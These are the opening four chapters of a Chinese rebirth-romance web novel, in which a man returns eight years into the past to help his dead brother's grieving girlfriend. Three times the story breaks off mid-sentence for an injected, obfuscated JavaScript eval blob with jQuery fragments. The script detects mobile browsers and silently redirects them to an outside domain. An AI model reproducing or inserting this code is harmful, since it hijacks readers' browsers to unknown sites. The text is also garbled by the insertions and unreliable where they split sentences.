《大佬重生后要拯救我》
1. 001.
一月份的西城,寒冬凛冽,风刮在脸上生疼生疼的,贺岩开着辆吉普车左拐右拐,在大学附近转悠了快半个小时,总算找了个停车位,下车时天色逐渐暗了下来,他看了眼手机,刚过六点,也不知道闻雪在不在学生宿舍。
停留在脑海中的记忆太过模糊。
他只依稀记得,在弟弟下葬立碑后,他顺便送闻雪回过学校,彼时她状态不太好,伶仃孤单,他担心她在路上晕倒,索性拎过她的行李箱,一路沉默地将她送到了宿舍楼下。
等目送着她进去后,他才搓了把脸转身大步离开。
看似是半年前发生的事,但对此时的贺岩来说,已经过去了八年。
他也不知道他为什么会有如此离奇的经历。明明前一天他应酬到深夜,司机送他回下榻的酒店,他躺下看着天花板的光一圈一圈晕开,闭目沉思片刻,从满是酒气的西装里捞出手机,发了条消息过去,还没等到回复,他眼皮越来越重,沉沉入睡。
再次睁眼醒来,他回到了八年前。
“烤红薯,又香又甜的烤红薯——”
“过来看一看,进来瞧一瞧,物美价廉,包熟包甜——”
小贩支着摊,一边插兜叫卖一边注意可能到来的城管,稍有不对就踩上三轮车跑路。
贺岩砰地一声关上车门,没急着进学校,从口袋里摸出一包烟,用打火机点燃,吸上一口,烟雾模糊了他硬朗的五官,他脸上没什么表情,一根烟还没抽完,他便摁灭,随手扔进垃圾桶里,不再犹豫,循着记忆走进大学。
考试周后,原本热闹的校园也慢慢安静。
归心似箭的学生一批又一批地离开。贺岩环顾四周,发现自己的记性还不错,来过一次的路竟然也还记得,一路走走停停,又问过人后顺利到了女生宿舍楼,在宿管阿姨探寻的目光中,他道:“麻烦帮我叫下闻雪,闻是听闻的闻,雪是下雪的雪。”
他没有闻雪现在的联系方式,只知道这么个地址。
也不是没想过先问问弟弟的朋友,但重生前最后一次见她的情形太过深刻,他总有种紧迫感,仿佛来迟一步,她又会走上原来坎坷不平的路。
“你是谁?”宿管阿姨皱眉问。
“她哥。”
“她哪个宿舍的?”
宿舍楼住着这么多的学生,阿姨不可能每个都记得名字,即便记得,该走的程序一样都不能少。
贺岩顿住。他还真不知道。
他和闻雪不熟,上辈子统共也没见过几面,那时候她是他弟弟贺恒的女朋友,两个小的高中就偷偷谈恋爱,还好没耽误学习,双双考上了西城这边的大学,他第一次见她,就是在西城的小饭馆里。
那会儿弟弟陪她过来看什么演唱会,顺便就一起吃了顿饭。
她话很少,声音温温柔柔的,他递出菜单让她点菜,她低垂着眉眼,攥着铅笔,磨蹭好一会儿,点了两个最便宜的菜。
第二次见面,是在春节,他生意忙,走不开,却又不放心弟弟一个人在家过年,临时买了张火车票,风尘仆仆而归,从乌泱泱的人群中挤出来时,她跟弟弟就在出站口等着。
见了他,她还是有些腼腆,轻声喊哥。
第三次见面……
“哎,你刚说你找谁?”有女生进来,取下厚厚的围巾,眨巴着眼睛好奇问道。
贺岩看向她,“闻雪,你认识她?”
“当然啦。”女生笑笑,“我室友。”
话到这儿,她似乎又警惕起来,“你找闻雪干什么?”
该不会又是死缠烂打的吧?
闻雪大一刚报到时,就吸引了不少人的注目。她长得好看,性子温柔,跟谁都和和气气的,这样的人不止男生喜欢,女生更喜欢,大一一整年,追她的人就不少,但那时她有感情深厚的男朋友,两人在不同的学院,有空就见面,甜甜蜜蜜的,时间长了,追求者知道没戏纷纷偃旗息鼓。
谁也没想到,她男朋友在大二开学前的暑假意外身亡。
这件事还上过新闻,大学生见义勇为,下水救溺水儿童,小孩救上来了,他却再没上岸,很多人唏嘘不已,还引起过争议,有人说该救,有人说要是把自己的命搭进去,便不该救,吵了好几天。
无论如何,闻雪没了男朋友。
一个两个都打着安慰她的旗号,大二上学期试图趁虚而入的人就多了。
“我是她哥。”贺岩说。
女生却摇摇头,看他的眼神更古怪了,“不对,闻雪没哥。”
当室友也有一年多,对彼此的情况或多或少都了解。
她们本科宿舍四个人,除了寝室长有弟弟,其他的都没兄弟姊妹。
个死骗子!
她正要让宿管阿姨把他轰走时,只听到他声音沉沉地说:“她男朋友的哥,同学,麻烦你帮我叫她下来,你告诉她是贺岩找她,她就懂了。”
…
503宿舍里。
有人哼着歌收拾行李,考试周结束,解放!
有人噼里啪啦地在键盘上打字,忽然停下,往后一靠,扭头吆喝:“美女们,我这儿有个活动,可划算啦,九十八一张温泉票,包往返,还送足疗,泡完以后还可以在那边打台球摘草莓,去不去!”
“真的假的!”
收拾行李的室友兴奋地跑过去,俯身看向电脑屏幕,两人兴致勃勃地聊着,用眼神无声交流片刻,默契地看向在看书的闻雪,清了清嗓子,语气带了些小心翼翼,问道:“闻雪,你去不去?”
闻雪完全沉浸在自己的世界,自动屏蔽了所有的声音。
这是她这学期来的常态。
她好像无意识地把自己封闭起来了。
宿舍三个人都很照顾她的情绪,尽量不大声说笑,很小心地陪着她,可是一天两天、一月两月过去,大家也很累。每个人的能量都是有限的,也会不受控地想要远离负能量的人和事,哪怕闻雪只是静静地、独自吞咽悲痛,连哭都是躲着,但她只要坐在那儿,就会给她们一种“连开心说笑都是罪过”的感觉。
她没错。
她们也没错,既没有办法将她拉出来,也不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735185|174054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能不管她,窄小的四人间宿舍里,仿佛堆了不少情绪气球,稍不注意就怕踩爆了,大家都很无力。
见闻雪没说话,她们无奈地对视一眼,轻轻地摇摇头,算啦。
嘎吱——
门从外被推开,叶曼妮喘着气,没进来,一副要断气的模样扒着门,“累死我了,闻雪……有人找你……”
喊了好几声,闻雪才愣愣地抬起头,看向门口,忙道:“曼妮,你说什么?不好意思,我刚没听见。”
叶曼妮将围巾扔在椅子上,走了过来,拍拍胸口,“楼下有个人找你,说是你哥,”她顿了顿,声音放轻,“说是贺恒的哥,叫贺岩,你认识吗?”
贺岩。
闻雪一阵恍惚,她最近反应有些慢半拍,别人说的话到耳朵里,往往要一会儿她才能听懂是什么意思。
几秒后,她脑海里浮现出一道身影,对上了这个名字,便急急地合上书本起身,“他在楼下吗?”
叶曼妮点点头,又问:“要我陪你吗?”
“不用。”闻雪听出她话语的关心,抿了抿唇,“我跟他见过的,他人很好,找我应该是有急事。”
至于是什么急事,她也不知道。
“那就好,注意安全,有事call我们。”
闻雪勉强挤出一抹笑意,拿上手机跟钱包出门,她已经很长时间没有仔细照过镜子,头发长长了很多,垂至腰间,也是下楼感觉有些晕时,她记起晚饭还没吃,上一顿还是早餐喝的粥。
从五楼到一楼,她也气喘吁吁。
来到一楼,宿管阿姨倚着墙打毛衣,一双眼睛在外面的贺岩身上瞄来瞄去,琢磨着要是再过半小时他还不走,她要叫保安来,一个人高马大的男的,在女生宿舍瞎转悠什么!
闻雪走出宿舍楼,一眼便看到贺岩立在台阶上。
冬天天黑得早,外面路灯还没亮起来,贺岩周身都仿佛罩着层寒霜,他个子很高,背又宽阔,挺拔地站在那儿,存在感强烈到经过他身边的人都忍不住看一眼。
她张了张嘴,想叫他,冷风似是灌进喉咙,无比艰涩。
现在再喊他“哥”好像不合适了,他们本就因为贺恒才有的一点点关系,也因为贺恒的逝去彻底断掉,非亲非故,跟陌生人也没太大区别。
她还记得,大二开学他送她到宿舍楼下时,最后对她说的一句话是“日子还长,好好过”。
闻雪还没想到更好的称呼,贺岩好像察觉到了什么,转过头来,宿舍楼里的灯光照在他的脸上,早早就在社会上摸爬滚打的人,满身冷肃,四目交汇的那一瞬,他皱着的眉头舒展开来,没有迟疑,他朝她迈近。
一步,又一步。
直到站在她面前,他省略了没有必要的开场白,说,“吃饭没?”
闻雪怔了怔,“还没。”
贺岩在这里等了一会儿,他皮糙肉厚不觉得冷,但他看来来往往的学生又是跺脚,又是摩挲掌心,脸冻得通红,再看看闻雪这瘦得下巴尖尖的模样,思忖道:“先找个暖和的地方吃饭,边吃边聊。”
2. 002.
大学附近最不缺的就是小饭馆,闻雪勉强记起大一时常光临的几家店,领着贺岩往那边走。她出来得急,没戴帽子跟围巾,羽绒服穿在她身上丝毫不显臃肿,这半年来,尽管她没上称,但身边人一眼就能看出来,她瘦了很多。
贺岩偶尔打量她,不由得在心里叹一口气。
相依为命的弟弟逝世给他带来的打击也不小,那段时间他抽烟抽得很凶,心情也格外暴躁,每天闭上眼睛就总想起弟弟,但他跟闻雪不同,他还有工作,手底下十几口人等着吃饭,失去至亲的痛一辈子都不会痊愈,可人要学着向前看,他颓废个把月后,硬逼着自己重新振作,不知不觉,好像也就走了出来。
他必须承认,上辈子那八年里,他想起闻雪的次数很少很少。
一来,没有共同的朋友圈,生活上也没交集。
二来,他太忙了,而且他认为像她这样条件的人,日子不会过得很差。
她长得漂亮,有学历,只要一步步踏实往前走,未来必定一帆风顺。
在那个慈善晚宴上,她被人簇拥,脸上无悲无喜。
只是在见到他时,面露意外与惊愕,她强颜欢笑,眼中泪光盈盈:“哥,要是有我能帮得上忙的地方,你只管说,我过得还行……也有一些钱……”
毫无疑问,在世俗眼中,她过得很好,生活优越,荣华富贵。
然而他查到的资料显示,那八年里,她历经波折与坎坷,宁静幸福的生活被人轻易掀翻,满纸都是身不由己。
他在重生前发的最后一条消息也是给她的。
只是没有等来她的答复,他就重生了。
眼看着离小吃街越来越近,闻雪鼓起勇气,轻声开口问道:“吃什么?”
她慢吞吞地说:“有小火锅,烤肉,还有炒菜……”
贺岩瞥见她的发丝都被风吹得凌乱,略抬眸四处瞧瞧,没有直接回答这个问题,而是低声道:“你等我一下。”
说完抬腿大步往身侧走去,天气冷了,出摊的老板也少。
小妹正抱着热水袋缩一边吃米线,突然眼前一道阴影落下,她下意识地抬起头来,见是顾客,赶忙囫囵将有些烫的米线吃下,口齿不清地道:“老板买围巾还是手套,我这儿什么款式都有!”
贺岩不懂什么款式,飞快扫一眼,伸手指指毛绒绒的围巾,“这个,”又指指手套,“还有这个,包起来。”
都不讲价,小妹心里一喜,哎了一声,急忙起身,三下两下在黑色塑料袋里找到他说的围巾手套装袋递给他,“原价六十五,收您五十,恭喜发财。”
闻雪老老实实地在原地等着,一步都没挪。
等贺岩回来时,将印着小兔子的包装袋递给她,“别着凉了。”
他看她瘦得仿佛随时要被风吹走的模样。
闻雪神情微愣,他不由分说递过来,她只好接过,垂头一看,里面是围巾还有手套,“我有。”
只不过放在宿舍里忘记戴了。
她知道自己状况不对,人晕晕沉沉的,做什么都提不起劲,每天晚上睡觉前,她都在想,明天我就要振作起来,好好学习,好好吃饭,好好交朋友出去玩,可太阳升起,当她从床上爬下来时,只觉得好累。
她的头发变长,身躯变轻,反应变慢。
她控制不住。
“戴着。”他说。
“……哦。”
闻雪垂下脖颈,将围巾裹上时,这才想起道谢,“谢谢。”
贺岩回答她之前的问题,“吃火锅吧,暖和。”
“行。”闻雪双手放进口袋,摸到钱包,稍稍安心,如果她没记错的话,里面应该还有几百,吃顿火锅没问题。
两人虽然并排走着,但中间隔的距离还能走两个人。越靠近小吃街,烟火气息越浓,食物的香味在空气中弥漫,闻雪后知后觉地感到饥饿。
火锅店很热闹,贺岩抬手撩起透明帘,偏了下头,示意闻雪先进。
闻雪弯腰进去,大堂都快坐满了,只剩靠近角落的位置刚刚收拾出来,店里热气缭绕,比外面暖和得多,这家是一人一个锅,不用跟服务员点菜,想吃什么自己去冷柜拿。
贺岩还没动,闻雪起来,来来回回拿菜,不一会儿,桌上都快摆满。
她很细心,从前就很会照顾别人的感受,此时被锅里沸腾着的热气扑面,白得几乎病态的脸上多了抹红晕,人看起来也有了精气神,她拆开包装,拿起水壶洗刷碗筷,露出来的手腕细得能折断。
“我听说你们要放寒假了?”贺岩喝了口热水,问道。
“嗯。”
“准备回海城吗?”
海城是个二三线城市,当地经济不算发达,但在三四十年前,也有过欣欣向荣的时期,那时有规模很大的工厂企业,很多本地人拖家带口在里面上班。
其中有贺岩的父母,也有闻雪的父母,然而十几年前一场突发事故让很多家庭支离破碎,他们一夜之间也变成了无父无母的可怜孩子。
闻雪比贺岩贺恒两兄弟要幸运,她还有爷爷奶奶抚养她长大,尽管她的爷爷奶奶后面十年里相继离世,但她没有尝过寄人篱下的滋味。
贺岩印象最深的是童年少年时期,在一个又一个亲戚家里辗转,那时他们兄弟有需要花钱的地方也不敢跟大人要,贺岩咬咬牙,十来岁就想办法赚点零花钱给弟弟花,有太多心酸的压力,念书成绩很一般,高考也没考得多好,算算学费,觉得挺没意思,干脆一头扎进社会,一门心思赚钱,想要好好培养弟弟。
贺恒很争气,学习就没叫人操过心,总是名列前茅,眼看着日子好起来了,贺恒却死了。
闻雪烫了青菜,细嚼慢咽,等嘴里的菜吃下去后,抬起眼眸回道:“应该。”
看来车票都还没买。
贺岩点头,“在学校里钱够花吗?”
“够的。”闻雪说,“学校食堂吃饭不贵。”
贺岩一看她这样子就知道她这半年过的是什么日子。如果贺恒没有出事,这对情侣会好好的,互相享受大学生活,毕业后找份朝九晚五的工作,或许过不了几年就会结婚组成一个小家庭。
她太年轻了,一时半会无法接受轰然倒塌的生活很正常。
“之前小恒应该跟你说过我的事。”贺岩见她一直吃青菜,实在看不过去,拿了双干净筷子,在锅里捞了肉夹她碗里,“我跟朋友合伙开了个运输小公司,有个文员回家生孩子,得过完年才能回岗位,事情不多,也不难,现在两个人的事一个人做,年边上我也不想再招人,你要是愿意就跟我过去,包吃包住,开学我再送你回学校,到时候我给你交学费生活费。”
他是昨天重生的,一整天都在想,他应该为她做点什么。
如果没重生,只要她愿意,他可以想尽一切办法,即便散尽家财也要把她从那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735186|174054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人手中带走,重生了该怎么办?他只能提前防范不让人再欺负她,让她跟她其他同学一样,过普通却安宁的生活,以前他怎么养贺恒,今后就怎么养她。
闻雪惊讶地看着他。
她试着听懂他话语里表达的意思,越听却越茫然,前面的她懂,他是想给她找兼职,可给她交学费生活费是什么意思呢?据她所知,大学生找兼职时薪很低的,他给的太多了。
“为什么?”她问,意识到他是在接济她,她连忙说,“学费我有的,生活费也有,我奶奶走之前给了我存折,可以撑到我念完大学,等我毕业了我可以去找份工作。”
重生前的贺岩也是这样想的。
那时他问过她有没有钱,她说有,爷爷奶奶将工厂当时统一赔的钱都给她留着,十几年过去,那笔钱贬值了,但只要她好好分配,四年生活不成问题。
“闻雪。”
贺岩很少会叫她的名字,他放下筷子,眼里带着他都不知道的复杂的怜悯情绪,“你过去跟着小恒喊我哥,他不在了,你也可以继续把我当哥,就当是为了让他安心吧,你帮我,还是我帮你,都可以,这事不着急,回宿舍了你再好好想想,想好了我再接你去我那儿。”
闻雪看了他好一会儿,继续低头吃菜,这次速度慢了很多,她在思考,垂眸时,不经意瞥见被她放在旁边椅子上的围巾手套,毛绒绒的,很暖和。
她很早就对贺岩这个名字非常熟悉。
贺恒总是会向她提起他的大哥,有时候会说大哥太严肃,有时候又会心疼大哥赚钱艰难,那时她在脑海中勾勒出一个形象,吃苦耐劳,沉默寡言,真正见到贺岩后,她又拿橡皮擦将这个形象擦掉。
无法用准确的语言来形容。
如果说贺恒像郁郁葱葱的树,那么贺岩则是经过千锤百炼的钢铁。
贺岩是一个很好很好的哥哥。
她还记得在贺恒火化的前一天晚上,殡仪馆里冷清沉寂,月光铺洒,好似一层冰霜,她被香熏得眼睛涨疼,麻木地拖着腿从里出来,隔着不远的距离,看到他靠着柱子,像是被人打弯了脊梁,正无声流泪。
然而到了人前,他还是会打起精神,招待一个又一个前来吊唁的人。
…
跟别桌热闹的气氛不同,他们说完这话后,都不再开口,专心吃火锅,闻雪这半年来吃得少又不规律,吃了些菜跟肉后就饱了,目无焦距地发呆。
贺岩今年二十五岁,饭量本来就大,午饭胡乱吃了些,早已经饥肠辘辘。
闻雪见他吃得差不多了,拿起服务员放在一边的餐单准备去前台结账,忽地,一只手背上带着道浅疤的手强势地摁住那张餐单,她抬眼看他,他说,“我来。”
十分钟后,贺岩买完单,看看钱包里的现金,没剩几张。
他出来得急,也不知道附近有没有取款机,就算她不愿意跟他走,他也得留下联系方式,再给她取点钱过年。
闻雪跟在他身后走出店里,迟疑着开口问道:“你那里真的缺人吗?”
学费生活费她也不想要,但他那里如果缺人,她可以过去帮忙。
贺岩闻声回头,“确实缺人。”
这话是真的,再过半个月就要过年。上辈子这时候他是找了朋友的嫂子过来顶了几天班。
闻雪眼睫低垂,怀里还抱着他给买的围巾手套,夜色中,她轻轻地点了下头,“好,我去。”
3. 003.
对她的回答,贺岩很意外,但短暂几秒后,他又明白过来她答应的原因,她只是单纯想要帮他,就像在那场慈善晚宴上,她自顾不暇,却还是问他需不需要帮忙。
他微不可察地拧了下眉,要说他不后悔,那是假的。
上辈子他给她留过一张名片,也曾叮嘱过,如果遇到解决不了的难事,可以打电话或者照这个地址来找他,但那八年里,他一次都没接到过她的电话,他以为她过得很好。
现在想想,她只是不愿意麻烦他。
“好,什么时候放假?”他勉强压下不太好的情绪,问道。
闻雪重新戴好围巾,“今天上午刚考完,明天就可以走了。”
她忘了买车票,也不着急,现在还没到春运的高峰期,回海城的票随时都能买到。
在海城,她还有一些亲人,有时候去姑姑那里过年,有时候去小姨家里。
人们似乎对年夜饭有执念。
但自从奶奶去世,她觉得她跟其乐融融的气氛格格不入,可不回海城,她也不知道自己还能去哪里。现在贺岩需要人手,她能过去帮忙,挺好的。
“行。”
贺岩颔首,“那我明天中午来接你。”
闻雪嗯了声,围巾几乎将她半张脸都包住,两人像来时那般保持着距离,往学校走去。这是贺岩要求的,现在在他眼里,闻雪很脆弱,不亲自把她送到楼下、看她进去,他不放心。
“你们宿舍楼白天能让家长进去吗?”
贺岩又问。
闻雪愣了愣,一开口呵出白气,“家长进去?”
“行李箱应该挺重的吧?”
养贺恒,贺岩很有经验,但毕竟是弟弟,他也不需要多操心,给够生活费就行,至于贺恒怎么坐车到学校报到,又怎么搬行李到宿舍,行李重不重,那他管不着。
但闻雪不同,她看起来没多大力气,宿舍楼又没电梯。
他怀疑以她现在的状态拎着箱子能从楼梯上滚下来。
闻雪也不知道怎么回事,就笑了起来:“还好,我行李不多,可以分批拿。”
“家长能进吗?”他又回到那个问题。
“应该不能。”闻雪晃神,“之前他想帮我收拾行李,阿姨不让进,只有父母能吧?”
贺岩知道,她口中的“他”是贺恒。
他点了下头:“行,我在楼下等你,十二点?”
“好。”
说来也奇怪,之前每次见面,他们话都不多,对彼此也不熟,这次关系仿佛被拉近了些,聊天也还算自在,起码不尴尬。贺岩想,上辈子他其实应该跟她当普通亲戚那样处,可能结果也会不一样。
穿过几条人行道,闻雪对学校熟,带他抄了近路。
要是只有她一个人,她会走人多的大路,有贺岩在,路黑一点好像都不是什么问题。
眼看着快到女生宿舍楼,贺岩从口袋里摸出一张名片递给她,“上面有我的电话号码,你手机拿了吗?”
闻雪没接名片,“之前给我的我放宿舍了。”
贺岩有种对她的无可奈何,既然没丢他的名片,后来遇到那些难关怎么就不能找他呢?
“手机号多少。”
闻雪报了串号码,几秒后,放在羽绒服口袋的手机振动,嗡嗡嗡的,隔着布料带来震感,她拿出手机,确定是他打来的电话后,保存,在编辑备注时犹豫了一会儿,还是存为“哥”。
“走吧。”
“嗯。”
两人继续往宿舍楼方向走,这个点不算晚,八点不到,人却少了很多。贺岩还没来得及再叮嘱她一些事,不知从哪儿冒出个愣头青,声音急切:“闻雪!”
贺岩看他面生,收回视线,落在闻雪的脸上。
她表情平静,甚至有些漠然。
对方欢欢喜喜地过来,又刹住脚步,脸上的笑意凝固,狐疑又防备地看向贺岩,脱口而出:“闻雪,他是谁?”
贺岩立刻就懂了。
这是追闻雪的小男生。
闻雪对这些人的追求称不上厌恶,但她的确筋疲力尽,没心力跟他们说那些翻来覆去的废话,只能无视,仍然有一小部分人越挫越勇,她嘴上没说,心里却明白,他们不见得有多喜欢她,只是所谓的征服欲跟救赎欲罢了。
好像能够追到她,能够让她放下贺恒,是一件很能满足虚荣心的事。
“我到了。”闻雪没有理他,而是看向了贺岩。
贺岩了然,“我看你进去再走。”
闻雪点点头,挥了挥手,快步迈上宿舍楼台阶,男生着急地想追上去,一股力道扯住他,他差点趔趄,一回头,“你——”
“别再烦她。”贺岩面无表情,“听到没?”
…
闻雪头都没回,进了宿舍楼,这顿火锅吃得手脚都很暖,爬楼梯很累,却不像中午那会儿喘得难受。
三个室友叽叽喳喳地讨论着寒假该怎么过。
随着闻雪推门进来,话题突兀中断,她们都不约而同收敛了脸上灿烂的笑意,仿佛成为了一种默契。
“咦?”
叶曼妮发现了新鲜事物,指了指闻雪的围巾手套,“新买的吗?好好看!”
另外两个室友也看了过来,非常捧场,“看着就很暖和,闻雪皮肤白,戴白色也不显黑,好看!”
闻雪将围巾手套取下来,莞尔。
人很难控制自己的情绪。
至少刚过二十岁生日的她还没学会这门功课,她知道室友们都很小心又温柔地照顾她,她也很想像大一时那样积极融入到那些有趣的话题里,她试过的,可每次她都会分神,心思不知道飘哪儿去。
等她们再叫她时,她才发现自己在发呆。
她也觉得自己是个很糟糕的室友,朋友,可她一点办法都没有,她试过去吃药集中注意力,也试过在别人说话时掐自己,到后来,她好累,她们也累。
慢慢地,她有了很卑劣的想法。
她希望他们能够放弃她,不要再管她了。
她的心门被巨大的石头堵住了,她在里面推不开,别人搬得太辛苦,她不想麻烦他们。
“那个人来找你做什么?”
阳台上,叶曼妮在闻雪洗漱时,悄声问道。
闻雪正在擦脸,“他给我介绍了一份兼职。”
“啊?”叶曼妮惊讶,又关切问,“你是缺钱吗?怎么都不跟我们讲?”
“不是。”闻雪将毛巾挂好,浅浅一笑,“是他那里缺人,正好我也没事。”
“哦哦。”叶曼妮想了想,“那寒假我们还是保持联系哦。有事打电话!”
“好。”
闻雪身上沾了火锅味,她洗了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735187|174054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个热水澡,回到书桌前拉开抽屉,拿出深绿色的本子,质感很好很厚,搭配着的是一支钢笔,是她十八岁收到的礼物。
贺岩给的名片就被她夹在里面。
她之前没太仔细看,薄薄的名片上印着他的名字,公司名,职位,电话号码以及地址。
西城这座城市太大,她去过的地方不多,只依稀知道,这地方属于老城区的一角,应该有点偏,靠近码头,她打开电脑,尝试搜了下公司名,看到注册资本时睁圆了眼睛。
要花这么多钱吗?
她不太懂这些,心想,他好厉害。
不过……
压力应该也很大吧?
她以前就听贺恒说过,贺岩过得很苦,父母的赔偿款由亲戚做主分了,毕竟谁家里多养两个孩子都是负担,他们的亲戚不算很坏,至少保下了他们家的房子,又出了点钱装修,才不至于让他们兄弟俩过年回家都没地方。
贺岩从十来岁的时候就想办法赚钱,从一两块到几十,再到几百,他没让贺恒在学校里窘迫过。
闻雪的心思又飘到了很远的地方。
她发了一会儿呆,回过神来,将名片再次放好。
-
与此同时。
贺岩重新开车准备回住处,离得不算近,开车得一两个小时,这辆车还是前两年他从别人手里淘的手动挡,他已经不太习惯自己开车了,车辆缓缓开出停车位,汇入车道。
冬天晚上的气温很低,他仍然降下车窗,任由冷风灌入。
从重生到现在,他脑子就没有歇下来过,算是做成了一件事,他感到放松,折腾一会儿,开了车上的收音机,有一搭没一搭地听着广播。
晚上十点,这辆车停在了一栋筒子楼前,这儿都是小产权房,一层楼住着十来户,面积小,但离他现在那公司近,走路五分钟到,生活也算便利,他干脆就将空了的几间租下来作为宿舍。
他拿着钥匙上楼,在三楼停下,走过两间房,在透着灯光的刷着绿漆的门前顿住,抬手叩门。
很快门开了。
有男有女,凑成一桌麻将。
“岩哥,咋了?”说话的是个瘦高个,屋里几人听到将麻将一倒,一脸无辜地望着。
有的是从几年前就跟着他打拼的,有的尽管没来多久,却也了解他的性子。贺岩不爱打牌,甚至没什么兴趣爱好,他要是心情好,就当没看到,要是心情糟糕,那完了,有一个算一个都被他骂个狗血淋头。
“都给我悠着点。”贺岩扫过他们,“别通宵。”
“打完这圈我们就散!”短发女人笑嘻嘻地说。
贺岩不置可否,示意瘦高个出来。
两人站在阳台上,贺岩指了指最靠边的房间,交待道:“辛苦你明天找个保洁阿姨把那间收拾出来,弄干净整洁些。”
这房子本来是那个怀孕的员工住的。
几个月前两口子商量合计,咬牙在附近付了套小二居的首付,立刻搬出宿舍。
汪远吃惊:“谁住啊?”
“你先别管谁住,收拾好就行。”
贺岩交待之后就想回房休息,他也累了,走出几步,想起什么又折返回来,补充:“再买取暖器热水袋什么的放进去。”
汪远:“?”
哥你一个下雪都不穿秋裤的硬汉,还知道取暖器呢?
4. 004.
清晨五点多,闻雪就从一片白茫茫的梦境中醒过来,然后再也睡不着。
她这半年来睡得不好,常常刚睡着一会儿便感觉身体在下坠,猛然惊醒,只能屏气凝神地,在黑暗中望着天花板发呆,有时候一整晚就这样度过,有时候还能勉强再睡两个多小时。
冬天这个时间天还没完全亮,只有那一丝丝光从窗户照进来。
在床上像一株植物躺到快八点钟,直到室友打着哈欠起床的动静传来,闻雪才拖着僵硬的身躯坐起来,慢慢地,其他室友也起床,排队洗漱。
“我是不想去食堂啦。”
叶曼妮心念一动,提议道:“反正今天放假,大胆一回,把电锅拿出来,煮泡面吃!”
宿舍基本上禁用功率大的电器,就怕一不小心跳闸招来宿管,吹头发都小心翼翼的,像这种小电锅,每次偷用都提心吊胆。越冒险越刺激,另外两个室友也被说动,转身拉开抽屉找零食。
火腿肠,卤蛋,鸡爪什么的。
闻雪从洗手间出来,一进屋子见这阵仗愣了下。
叶曼妮冲她招手,唤她吃早餐,她想拒绝已经来不及,被室友拖着按在行李箱上坐着,还没缓过来,手里多了双一次性筷子还有碗。
“闻雪,真不和我们一起泡温泉吗?”
“不了。”闻雪吃了口面,“我没时间,你们好好玩。”
“那行吧……”
她们三个也不全是西城本地人,见离过年还有一段时间,便也不着急往家赶,四人将一锅面吃得干干净净,闻雪习惯性地收拾碗筷,拿抹布跟洗洁精将锅洗刷干净,偶尔抬头看一眼天空,太阳升起,阳光刺眼。
闻雪昨天回宿舍洗漱之后都快九点,她担心收拾行李吵到别人,只好作罢。
忙完手上的事后,她不再耽误时间,将床单被套都拆下,看着行李不太多,却也收拾了一个小时,行李箱塞得满满当当,很沉,她试着掂了掂,不期然地想起贺岩昨天说的话,眼里浮现很淡的笑意。
整栋宿舍楼都很热闹,楼梯间拎着行李的学生上上下下,闻雪分批,跟蚂蚁搬家似的,艰难地将自己的东西都搬到了一楼,面庞沁出了汗,乌发略显凌乱地贴着额头。
她靠着墙平复急促的呼吸,上下几趟,感觉五脏六腑都扯着疼。
她现在的身体比过去要糟糕了。
…
贺岩是个守时守信的人,他说十二点来,一分不多,一分不少,准时出现在女生宿舍门口,眼看着闻雪要去拖箱子,他出声制止:“你就站那,别动。”
说着他探头看向宿管,掏了个橙子放桌上,“您看我妹这细胳膊细腿的,我也不上楼,行吗?”
宿管忍俊不禁,点点头:“赶紧的!”
贺岩道谢,大步迈近,来到闻雪面前,拿眼睛扫扫她脚边的行李箱,背包,书包,还有包好的被褥,“就这些了?”
“嗯。”
闻雪弯腰要去拿背包,他速度比她更快抢了过来,左手推着箱子,背上她的包,手臂挂着她的书包,胳膊还夹着被褥,利落地便往外走,“跟上。”
宿管看了眼,笑道:“你哥这身板,还真不错。”
闻雪也轻声道了谢,赶忙跟上贺岩的步伐,返家的学生不少,哪哪都是行李箱滚轮在地上拖动的声音,贺岩将车停在了离宿舍楼最近的南门,他腿长,带着行李,走得都比闻雪快,一回头,看她气喘吁吁,不由得便放慢了脚步。
“早上吃了吗?”他问。
“吃了……”
贺岩放心了些,瞥见她眼底下的青色,昨天夜色暗,看得不是很清楚,此时在太阳光下打量,难免不是滋味。八年后的她虽然强颜欢笑,但没现在这般弱不禁风,这要是贺恒,他早教训了,这个寒假还是得想办法让她长点肉,民以食为天,人只要吃好了,胃口好了,心情自然也差不到哪儿去。
“中午还没吃吧?”
“没,”她想了想,问,“你也没吃是吗?我问问室友,这附近有没有好一点的餐厅。”
昨天那顿火锅是他付的钱。
她总觉得,她该请他吃点好的。
“不用问。”贺岩一锤定音,“我带你去吃别的。”
经过昨天他就看出来了,她对吃吃喝喝不感兴趣,随便吃什么都行,所以问她她也没主意。
走着走着,到了贺岩开的这辆车前,打开后备箱,将她的行李全放进去。
